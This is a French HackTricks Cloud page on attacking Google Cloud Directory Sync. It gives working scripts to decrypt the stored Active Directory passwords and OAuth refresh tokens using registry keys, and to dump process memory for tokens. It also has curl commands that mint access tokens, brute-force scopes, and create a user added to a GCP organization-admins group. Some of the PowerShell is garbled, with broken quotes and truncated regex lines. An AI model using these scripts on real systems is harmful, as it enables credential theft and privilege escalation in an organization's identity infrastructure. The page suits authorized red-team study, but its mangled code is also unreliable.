GCDS - Google Cloud Directory Sync
Tip
Apprenez & pratiquez AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Apprenez & pratiquez GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Apprenez & pratiquez Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Soutenez HackTricks
- Consultez les subscription plans!
- Rejoignez le đŹ Discord group ou le telegram group ou suivez-nous sur Twitter đŠ @hacktricks_live.
- Partagez des hacking tricks en soumettant des PRs aux HackTricks et HackTricks Cloud github repos.
Informations de base
Câest un outil qui peut ĂȘtre utilisĂ© pour synchroniser vos utilisateurs et groupes Active Directory avec votre Workspace (et non lâinverse au moment de la rĂ©daction).
Câest intĂ©ressant car câest un outil qui nĂ©cessitera les identifiants dâun super utilisateur Workspace et dâun utilisateur AD privilĂ©giĂ©. Il pourrait donc ĂȘtre possible de le trouver Ă lâintĂ©rieur dâun serveur de domaine qui synchroniserait des utilisateurs de temps en temps.
Note
Pour effectuer un MitM sur le binaire
config-manager.exe, ajoutez simplement la ligne suivante dans le fichierconfig.manager.vmoptions:-Dcom.sun.net.ssl.checkRevocation=false
Tip
Notez que Winpeas est capable de dĂ©tecter GCDS, dâobtenir des informations sur la configuration et mĂȘme les mots de passe et les identifiants chiffrĂ©s.
Notez Ă©galement que GCDS ne synchronisera pas les mots de passe dâAD vers Workspace. Si quelque chose, il gĂ©nĂ©rera simplement des mots de passe alĂ©atoires pour les nouveaux utilisateurs créés dans Workspace comme vous pouvez le voir dans lâimage suivante :

GCDS - Jetons de disque et identifiants AD
Le binaire config-manager.exe (le binaire principal de GCDS avec interface graphique) stockera par dĂ©faut les identifiants Active Directory configurĂ©s, le jeton de rafraĂźchissement et lâaccĂšs dans un fichier xml dans le dossier C:\Program Files\Google Cloud Directory Sync dans un fichier appelĂ© Untitled-1.xml par dĂ©faut. Bien quâil puisse Ă©galement ĂȘtre enregistrĂ© dans les Documents de lâutilisateur ou dans tout autre dossier.
De plus, le registre HKCU\SOFTWARE\JavaSoft\Prefs\com\google\usersyncapp\ui Ă lâintĂ©rieur de la clĂ© open.recent contient les chemins vers tous les fichiers de configuration rĂ©cemment ouverts (xmls). Il est donc possible de vĂ©rifier cela pour les trouver.
Les informations les plus intĂ©ressantes Ă lâintĂ©rieur du fichier seraient :
[...]
<loginMethod>OAUTH2</loginMethod>
<oAuth2RefreshToken>rKvvNQxi74JZGI74u68aC6o+3Nu1ZgVUYdD1GyoWyiHHxtWx+lbx3Nk8dU27fts5lCJKH/Gp1q8S6kEM2AvjQZN16MkGTU+L2Yd0kZsIJWeO0K0RdVaK2D9Saqchk347kDgGsQulJnuxU+Puo46+aA==</oAuth2RefreshToken>
<oAuth2Scopes>
<scope>https://www.google.com/m8/feeds/</scope>
<scope>https://www.googleapis.com/auth/admin.directory.group</scope>
<scope>https://www.googleapis.com/auth/admin.directory.orgunit</scope>
<scope>https://www.googleapis.com/auth/admin.directory.resource.calendar</scope>
<scope>https://www.googleapis.com/auth/admin.directory.user</scope>
<scope>https://www.googleapis.com/auth/admin.directory.userschema</scope>
<scope>https://www.googleapis.com/auth/apps.groups.settings</scope>
<scope>https://www.googleapis.com/auth/apps.licensing</scope>
<scope>https://www.googleapis.com/auth/plus.me</scope>
</oAuth2Scopes>
[...]
<hostname>192.168.10.23</hostname>
<port>389</port>
<basedn>dc=hacktricks,dc=local</basedn>
<authType>SIMPLE</authType>
<authUser>DOMAIN\domain-admin</authUser>
<authCredentialsEncrypted>XMmsPMGxz7nkpChpC7h2ag==</authCredentialsEncrypted>
[...]
Notez comment le refresh token et le password de lâutilisateur sont encryptĂ©s en utilisant AES CBC avec une clĂ© et un IV gĂ©nĂ©rĂ©s alĂ©atoirement stockĂ©s dans HKEY_CURRENT_USER\SOFTWARE\JavaSoft\Prefs\com\google\usersyncapp\util (oĂč la bibliothĂšque Java prefs stocke les prĂ©fĂ©rences) dans les clĂ©s de chaĂźne /Encryption/Policy/V2.iv et /Encryption/Policy/V2.key stockĂ©es en base64.
Script Powershell pour déchiffrer le refresh token et le password
```bash # Paths and key names $xmlConfigPath = "C:\Users\c\Documents\conf.xml" $regPath = "SOFTWARE\JavaSoft\Prefs\com\google\usersyncapp\util" $ivKeyName = "/Encryption/Policy/V2.iv" $keyKeyName = "/Encryption/Policy/V2.key"Open the registry key
try { $regKey = [Microsoft.Win32.Registry]::CurrentUser.OpenSubKey($regPath) if (-not $regKey) { Throw âRegistry key not found: HKCU$regPathâ } } catch { Write-Error âFailed to open registry key: $_â exit }
Get Base64-encoded IV and Key from the registry
try { $ivBase64 = $regKey.GetValue($ivKeyName) $ivBase64 = $ivBase64 -replace â/â, ââ $ivBase64 = $ivBase64 -replace â\â, â/â if (-not $ivBase64) { Throw âIV not found in registryâ } $keyBase64 = $regKey.GetValue($keyKeyName) $keyBase64 = $keyBase64 -replace â/â, ââ $keyBase64 = $keyBase64 -replace â\â, â/â if (-not $keyBase64) { Throw âKey not found in registryâ } } catch { Write-Error âFailed to read registry values: $_â exit } $regKey.Close()
Decode Base64 IV and Key
$ivBytes = [Convert]::FromBase64String($ivBase64) $keyBytes = [Convert]::FromBase64String($keyBase64)
Read XML content
$xmlContent = Get-Content -Path $xmlConfigPath -Raw
Extract Base64-encoded encrypted values using regex
$refreshTokenMatch = [regex]::Match($xmlContent, â
$encryptedPasswordMatch = [regex]::Match($xmlContent, â
Decode encrypted values from Base64
$refreshTokenEncryptedBytes = [Convert]::FromBase64String($refreshTokenBase64) $encryptedPasswordBytes = [Convert]::FromBase64String($encryptedPasswordBase64)
Function to decrypt data using AES CBC
Function Decrypt-Data($cipherBytes, $keyBytes, $ivBytes) { $aes = [System.Security.Cryptography.Aes]::Create() $aes.Mode = [System.Security.Cryptography.CipherMode]::CBC $aes.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7 $aes.KeySize = 256 $aes.BlockSize = 128 $aes.Key = $keyBytes $aes.IV = $ivBytes
$decryptor = $aes.CreateDecryptor() $memoryStream = New-Object System.IO.MemoryStream $cryptoStream = New-Object System.Security.Cryptography.CryptoStream($memoryStream, $decryptor, [System.Security.Cryptography.CryptoStreamMode]::Write) $cryptoStream.Write($cipherBytes, 0, $cipherBytes.Length) $cryptoStream.FlushFinalBlock() $plaintextBytes = $memoryStream.ToArray()
$cryptoStream.Close() $memoryStream.Close()
return $plaintextBytes }
Decrypt the values
$refreshTokenBytes = Decrypt-Data -cipherBytes $refreshTokenEncryptedBytes -keyBytes $keyBytes -ivBytes $ivBytes $refreshToken = [System.Text.Encoding]::UTF8.GetString($refreshTokenBytes)
$decryptedPasswordBytes = Decrypt-Data -cipherBytes $encryptedPasswordBytes -keyBytes $keyBytes -ivBytes $ivBytes $decryptedPassword = [System.Text.Encoding]::UTF8.GetString($decryptedPasswordBytes)
Output the decrypted values
Write-Host âDecrypted Refresh Token: $refreshTokenâ Write-Host âDecrypted Password: $decryptedPasswordâ
</details>
> [!NOTE]
> Notez qu'il est possible de vérifier cette information en consultant le code java de **`DirSync.jar`** dans **`C:\Program Files\Google Cloud Directory Sync`** en recherchant la chaßne `exportkeys` (car c'est le paramÚtre cli que le binaire `upgrade-config.exe` s'attend à utiliser pour extraire les clés).
Au lieu d'utiliser le script powershell, il est également possible d'utiliser le binaire **`:\Program Files\Google Cloud Directory Sync\upgrade-config.exe`** avec le paramÚtre `-exportKeys` et d'obtenir la **Key** et **IV** depuis le registre en hexadécimal, puis d'utiliser CyberChef avec AES/CBC et cette clé et IV pour déchiffrer l'information.
### GCDS - Extraction de tokens de la mémoire
Tout comme avec GCPW, il est possible d'extraire la mémoire du processus `config-manager.exe` (c'est le nom du binaire principal de GCDS avec interface graphique) et vous pourrez trouver des tokens de rafraßchissement et d'accÚs (s'ils ont déjà été générés).\
Je suppose que vous pourriez également trouver les identifiants configurés AD.
<details>
<summary>Extraire les processus config-manager.exe et rechercher des tokens</summary>
```bash
# Define paths for Procdump and Strings utilities
$procdumpPath = "C:\Users\carlos_hacktricks\Desktop\SysinternalsSuite\procdump.exe"
$stringsPath = "C:\Users\carlos_hacktricks\Desktop\SysinternalsSuite\strings.exe"
$dumpFolder = "C:\Users\Public\dumps"
# Regular expressions for tokens
$tokenRegexes = @(
"ya29\.[a-zA-Z0-9_\.\-]{50,}",
"1//[a-zA-Z0-9_\.\-]{50,}"
)
# Create a directory for the dumps if it doesn't exist
if (!(Test-Path $dumpFolder)) {
New-Item -Path $dumpFolder -ItemType Directory
}
# Get all Chrome process IDs
$chromeProcesses = Get-Process -Name "config-manager" -ErrorAction SilentlyContinue | Select-Object -ExpandProperty Id
# Dump each Chrome process
foreach ($processId in $chromeProcesses) {
Write-Output "Dumping process with PID: $processId"
& $procdumpPath -accepteula -ma $processId "$dumpFolder\chrome_$processId.dmp"
}
# Extract strings and search for tokens in each dump
Get-ChildItem $dumpFolder -Filter "*.dmp" | ForEach-Object {
$dumpFile = $_.FullName
$baseName = $_.BaseName
$asciiStringsFile = "$dumpFolder\${baseName}_ascii_strings.txt"
$unicodeStringsFile = "$dumpFolder\${baseName}_unicode_strings.txt"
Write-Output "Extracting strings from $dumpFile"
& $stringsPath -accepteula -n 50 -nobanner $dumpFile > $asciiStringsFile
& $stringsPath -accepteula -n 50 -nobanner -u $dumpFile > $unicodeStringsFile
$outputFiles = @($asciiStringsFile, $unicodeStringsFile)
foreach ($file in $outputFiles) {
foreach ($regex in $tokenRegexes) {
$matches = Select-String -Path $file -Pattern $regex -AllMatches
$uniqueMatches = @{}
foreach ($matchInfo in $matches) {
foreach ($match in $matchInfo.Matches) {
$matchValue = $match.Value
if (-not $uniqueMatches.ContainsKey($matchValue)) {
$uniqueMatches[$matchValue] = @{
LineNumber = $matchInfo.LineNumber
LineText = $matchInfo.Line.Trim()
FilePath = $matchInfo.Path
}
}
}
}
foreach ($matchValue in $uniqueMatches.Keys) {
$info = $uniqueMatches[$matchValue]
Write-Output "Match found in file '$($info.FilePath)' on line $($info.LineNumber): $($info.LineText)"
}
}
Write-Output ""
}
}
Remove-Item -Path $dumpFolder -Recurse -Force
GCDS - GĂ©nĂ©ration de jetons dâaccĂšs Ă partir de jetons dâactualisation
En utilisant le jeton dâactualisation, il est possible de gĂ©nĂ©rer des jetons dâaccĂšs en utilisant celui-ci ainsi que lâID client et le secret client spĂ©cifiĂ©s dans la commande suivante :
curl -s --data "client_id=118556098869.apps.googleusercontent.com" \
--data "client_secret=Co-LoSjkPcQXD9EjJzWQcgpy" \
--data "grant_type=refresh_token" \
--data "refresh_token=1//03gQU44mwVnU4CDHYE736TGMSNwF-L9IrTuikNFVZQ3sBxshrJaki7QvpHZQMeANHrF0eIPebz0dz0S987354AuSdX38LySlWflI" \
https://www.googleapis.com/oauth2/v4/token
GCDS - Scopes
Note
Notez quâil nâest pas possible de demander nâimporte quel scope pour le jeton dâaccĂšs mĂȘme en ayant un jeton de rafraĂźchissement, car vous ne pouvez demander que les scopes pris en charge par lâapplication oĂč vous gĂ©nĂ©rez le jeton dâaccĂšs.
De plus, le jeton de rafraĂźchissement nâest pas valide dans toutes les applications.
Par dĂ©faut, GCSD nâaura pas accĂšs en tant quâutilisateur Ă tous les scopes OAuth possibles, donc en utilisant le script suivant, nous pouvons trouver les scopes qui peuvent ĂȘtre utilisĂ©s avec le refresh_token pour gĂ©nĂ©rer un access_token :
Bash script to brute-force scopes
```bash curl "https://developers.google.com/identity/protocols/oauth2/scopes" | grep -oE 'https://www.googleapis.com/auth/[a-zA-Z/\._\-]*' | sort -u | while read -r scope; do echo -ne "Testing $scope \r" if ! curl -s --data "client_id=118556098869.apps.googleusercontent.com" \ --data "client_secret=Co-LoSjkPcQXD9EjJzWQcgpy" \ --data "grant_type=refresh_token" \ --data "refresh_token=1//03PR0VQOSCjS1CgYIARAAGAMSNwF-L9Ir5b_vOaCmnXzla0nL7dX7TJJwFcvrfgDPWI-j19Z4luLpYfLyv7miQyvgyXjGEXt-t0A" \ --data "scope=$scope" \ https://www.googleapis.com/oauth2/v4/token 2>&1 | grep -q "error_description"; then echo "" echo $scope echo $scope >> /tmp/valid_scopes.txt fi doneecho ââ echo ââ echo âValid scopes:â cat /tmp/valid_scopes.txt rm /tmp/valid_scopes.txt
</details>
Et voici le résultat que j'ai obtenu au moment de l'écriture :
https://www.googleapis.com/auth/admin.directory.group https://www.googleapis.com/auth/admin.directory.orgunit https://www.googleapis.com/auth/admin.directory.resource.calendar https://www.googleapis.com/auth/admin.directory.user https://www.googleapis.com/auth/admin.directory.userschema https://www.googleapis.com/auth/apps.groups.settings https://www.googleapis.com/auth/apps.licensing https://www.googleapis.com/auth/contacts
#### Créez un utilisateur et ajoutez-le au groupe `gcp-organization-admins` pour essayer d'escalader dans GCP
```bash
# Create new user
curl -X POST \
'https://admin.googleapis.com/admin/directory/v1/users' \
-H 'Authorization: Bearer <ACCESS_TOKEN>' \
-H 'Content-Type: application/json' \
-d '{
"primaryEmail": "deleteme@domain.com",
"name": {
"givenName": "Delete",
"familyName": "Me"
},
"password": "P4ssw0rdStr0ng!",
"changePasswordAtNextLogin": false
}'
# Add to group
curl -X POST \
'https://admin.googleapis.com/admin/directory/v1/groups/gcp-organization-admins@domain.com/members' \
-H 'Authorization: Bearer <ACCESS_TOKEN>' \
-H 'Content-Type: application/json' \
-d '{
"email": "deleteme@domain.com",
"role": "OWNER"
}'
# You could also change the password of a user for example
Caution
Il nâest pas possible de donner au nouvel utilisateur le rĂŽle Super Amin car le jeton dâactualisation nâa pas suffisamment de portĂ©es pour accorder les privilĂšges requis.
Tip
Apprenez & pratiquez AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Apprenez & pratiquez GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Apprenez & pratiquez Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Soutenez HackTricks
- Consultez les subscription plans!
- Rejoignez le đŹ Discord group ou le telegram group ou suivez-nous sur Twitter đŠ @hacktricks_live.
- Partagez des hacking tricks en soumettant des PRs aux HackTricks et HackTricks Cloud github repos.
HackTricks Cloud

